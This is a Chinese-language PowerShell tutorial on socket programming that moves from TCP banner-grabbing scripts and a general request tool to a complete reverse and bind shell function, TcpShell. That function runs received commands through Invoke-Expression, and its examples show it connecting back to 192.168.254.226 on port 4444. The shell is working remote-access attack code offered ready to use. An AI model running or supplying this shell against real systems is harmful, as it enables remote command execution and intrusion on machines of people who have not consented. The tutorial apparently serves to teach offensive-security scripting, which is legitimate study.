Powershell(4)-Socket网络编程

这一小节我们介绍Powershell中的Socket编程,网络编程是所有语言中绕不开的核心点,下面我们通过对代码的分析来让大家对PS中的Socket有一个初步的了解。

Scoket-Tcp编程

开始之前我们先想想为什么要学习socket编程,那么最直观的是端口扫描,那么还有可能是反弹shell之类的应用。进行Socket编程只需要调用.Net框架即可,这里先使用TCP来示例:

这里是去打开一个TCP连接到本地的21端口,并获取21端口返回的Banner信息,其中GetOutput函数看不了可以先不看,其用来获取stream中的数据,主要看Main函数内容:

Tcp-Demo.ps1
function GetOutput 
{ 
    ## 创建一个缓冲区获取数据
    $buffer = new-object System.Byte[] 1024 
    $encoding = new-object System.Text.AsciiEncoding 

    $outputBuffer = "" 
    $findMore = $false 

    ## 从stream读取所有的数据,写到输出缓冲区
    do{ 
        start-sleep -m 1000 
        $findmore = $false 
        # 读取Timeout
        $stream.ReadTimeout = 1000 

        do{ 
            try { 
                $read = $stream.Read($buffer, 0, 1024) 
                if($read -gt 0){ 
                    $findmore = $true 
                    $outputBuffer += ($encoding.GetString($buffer, 0, $read)) 
                } 
            } catch { $findMore = $false; $read = 0 } 
        } while($read -gt 0) 
    } while($findmore) 

    $outputBuffer 
}

function Main{
    # 定义主机和端口
    $remoteHost = "127.0.0.1"
    $port = 21
    # 定义连接Host与Port
    $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port) 
    # 进行连接
    $stream = $socket.GetStream()
    # 获取Stream
    $writer = new-object System.IO.StreamWriter $stream 
    # 创建IO对象
    $SCRIPT:output += GetOutput 
    # 声明变量
    if($output){ 
        # 输出
        foreach($line in $output.Split("`n")) 
        {
            write-host $line 
        }
        $SCRIPT:output = "" 
    }
}
. Main

我们来看看输出结果:

PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Demo.ps1
220 Microsoft FTP Service

这样就打开了21端口的连接,并且获取到了21端口的banner信息.

那么有过端口扫描编写的朋友肯定已经看到了,这种方式是直接打开连接,并不能获取到一些需要发包才能返回banner的端口信息,典型的80端口就是如此,我们需要给80端口发送特定的信息才能得到Response, 当然还有许多类似的端口,比如3389端口, 下面我们来看看我们如何使用powershell实现这项功能.

Tcp-Demo2.ps1
function GetOutput 
{ 
    ... # 代码和上面的一样
}

function Main{
    # 定义主机和端口
    $remoteHost = "127.0.0.1"
    $port = 80
    # 定义连接Host与Port
    $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port) 
    # 进行连接
    $stream = $socket.GetStream()
    # 获取Stream
    $writer = new-object System.IO.StreamWriter $stream 
    # 创建IO对象
    $SCRIPT:output += GetOutput 
    # 声明变量, userInput为要发包的内容,这里我们需要发送一个GET请求给Server
    $userInput = "GET / HTTP/1.1 `nHost: localhost  `n`n"
    # 定义发包内容
    foreach($line in $userInput) 
        { 
            # 发送数据
            $writer.WriteLine($line) 
            $writer.Flush() 
            $SCRIPT:output += GetOutput 
        } 

    if($output){ 
        # 输出
        foreach($line in $output.Split("`n")) 
        {
            write-host $line 
        }
        $SCRIPT:output = "" 
    }
}
. Main

我们来看看输出:

PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Demo2.ps1
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "5e26ec16b73ad31:0"
Server: Microsoft-IIS/7.5
Content-Length: 689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
</style>
</head>
<body>
...
</body>
</html>

我们下面对这项功能进行一个整合:

我们可以发包给一个端口,也可以直接连接一个端口,这里已经实现TCP,http,https三种常见协议的访问

########################################
## Tcp-Request.ps1 
## 
## Example1: 
## 
## $http = @" 
## GET / HTTP/1.1 
## Host:127.0.0.1 
## `n`n 
## "@ 
## 
## `n 在Powershell中代表换行符
## $http | .\Tcp-Request localhost  80 
## 
## Example2: 
## .\Tcp-Request localhost 80  
######################################## 

## 管理参数输入param()数组
param( 
        [string] $remoteHost = "localhost", 
        [int] $port = 80, 
        [switch] $UseSSL, 
        [string] $inputObject, 
        [int] $commandDelay = 100 
     ) 

[string] $output = "" 

## 获取用户输入模式
$currentInput = $inputObject 
if(-not $currentInput) 
{ 
    $SCRIPT:currentInput = @($input) 
} 
# 脚本模式开关, 如果脚本能读取到输入, 使用发包模式, 如果没有输入使用TCP直连模式
$scriptedMode = [bool] $currentInput 

function Main
{ 
    ## 打开socket连接远程机器和端口
    if(-not $scriptedMode) 
    { 
        write-host "Connecting to $remoteHost on port $port" 
    } 
    ## 异常追踪
    trap { Write-Error "Could not connect to remote computer: $_"; exit } 
    $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port) 

    if(-not $scriptedMode) 
    { 
        write-host "Connected. Press ^D(Control + D) followed by [ENTER] to exit.`n" 
    } 

    $stream = $socket.GetStream() 

    ## 如果有SSl使用SSLStream获取Stream
    if($UseSSL) 
    { 
        $sslStream = New-Object System.Net.Security.SslStream $stream,$false 
        $sslStream.AuthenticateAsClient($remoteHost) 
        $stream = $sslStream 
    } 

    $writer = new-object System.IO.StreamWriter $stream 

    while($true) 
    { 
        ## 获取得到的Response结果
        $SCRIPT:output += GetOutput 


        ## 如果我们使用了管道输入的模式,我们发送我们的命令,再接受输出,并退出
        if($scriptedMode) 
        { 
            foreach($line in $currentInput) 
            { 
                $writer.WriteLine($line) 
                $writer.Flush() 
                Start-Sleep -m $commandDelay 
                $SCRIPT:output += GetOutput 
            } 

            break 
        } 
        ## 如果没有使用事先管道输入的模式直接读取TCP回包
        else 
        { 
            if($output)  
            { 
                # 逐行输出
                foreach($line in $output.Split("`n")) 
                { 
                    write-host $line 
                } 
                $SCRIPT:output = "" 
            } 

            ## 获取用户的输入,如果读取到^D就退出 
            $command = read-host 
            if($command -eq ([char] 4)) { break; } 

            $writer.WriteLine($command) 
            $writer.Flush() 
        } 
    } 

    ## Close the streams 
    $writer.Close() 
    $stream.Close() 

    ## 如果我们使用了管道输入的模式,这里输出刚才读取到服务器返回的数据
    if($scriptedMode) 
    { 
        $output 
    } 
} 

## 获取远程服务器的返回数据
function GetOutput 
{ 
    ## 创建一个缓冲区获取数据
    $buffer = new-object System.Byte[] 1024 
    $encoding = new-object System.Text.AsciiEncoding 
    $outputBuffer = "" 
    $findMore = $false 

    ## 从stream读取所有的数据,写到输出缓冲区
    do 
    { 
        start-sleep -m 1000 
        $findmore = $false 
        $stream.ReadTimeout = 1000 

        do 
        { 
            try 
            { 
                $read = $stream.Read($buffer, 0, 1024) 

                if($read -gt 0) 
                { 
                    $findmore = $true 
                    $outputBuffer += ($encoding.GetString($buffer, 0, $read)) 
                } 
            } catch { $findMore = $false; $read = 0 } 
        } while($read -gt 0) 
    } while($findmore) 

    $outputBuffer 
} 
. Main

那么至此我们已经完成了对TCP端口的打开并获取对应的信息,其中很多的关键代码释义我已经详细给出,我们主要以TCP为例,由于UDP应用场景相对于TCP较少,关于UDP的编写可自行编写。

这个脚本加以修改就是一个Powershell完成的扫描器了,端口扫描器我们放在下一节来分析,我们这里最后看一个反弹shell的ps脚本, 同样在注释中详细解释了代码块的作用。

function TcpShell{ 
<#

.DESCRIPTION
一个简单的Shell连接工具, 支持正向与反向

.PARAMETER IPAddress
Ip地址参数

.PARAMETER Port
port参数

.EXAMPLE
反向连接模式
PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444

.EXAMPLE
正向连接模式
PS > TcpShell -Bind -Port 4444

.EXAMPLE
IPV6地址连接
PS > TcpShell -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
#>  
    # 参数绑定
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )


    try 
    {
        # 如果检测到Reverse参数,开启反向连接模式
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        # 使用正向的连接方式, 绑定本地端口, 用于正向连接
        if ($Bind)
        {
            # Tcp连接监听服务端
            $server = [System.Net.Sockets.TcpListener]$Port
            # Tcp连接开始
            $server.start()    
            # Tcp开始接受连接
            $client = $server.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        # 返回给连接的用户一个简单的介绍,目前是使用什么的用户来运行powershell的, 并打印powershell的banner信息
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        # 展示一个交互式的powershell界面
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        # while循环用于死循环,不断开连接
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            # 指定EncodedText为Ascii对象, 用于我们后面的调用来编码
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            # 获取用户的输入
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                # 调用Invoke-Expression来执行我们获取到的命令, 并打印获得的结果
                # Invoke-Expression会把所有的传入命令当作ps代码执行
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                # 错误追踪
                Write-Warning "Execution of command error." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            # 错误打印
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            # 返回结果
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        # 关闭连接
        $client.Close()
        if ($server)
        {
            $server.Stop()
        }
    }
    catch
    {
        # 获取错误信息,并打印
        Write-Warning "Something went wrong!." 
        Write-Error $_
    }
}

简单的分析在注释已经提到, 其中Invoke-Expression -Command后接的代码都会被看作powershell来执行, 我们来看看正向连接的执行效果, 我们在172.16.50.196机器上执行下面的代码

PS C:\Users\rootclay> cd .\Desktop\powershell
PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Shell.ps1
PS C:\Users\rootclay\Desktop\powershell> TcpShell -bind -port 4444

连接这台机器, 结果如下:

反向类似执行即可

大家可以看到这个脚本的最开始有一大块注释,这些注释无疑是增强脚本可读性的关键,对于一个脚本的功能和用法都有清晰的讲解,那么我们来看看如何写这些注释呢。

<#

.DESCRIPTION
描述区域,主要写你脚本的一些描述、简介等

.PARAMETER IPAddress
参数介绍区域,你可以描述你的脚本参数的详情

.EXAMPLE
用例描述区域, 对于你的脚本的用例用法之类都可以在这里描述

反向连接模式
PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444

#>

最后我们使用Get-Help命令就能看到我们编辑的这些注释内容:

results matching ""

    No results matching ""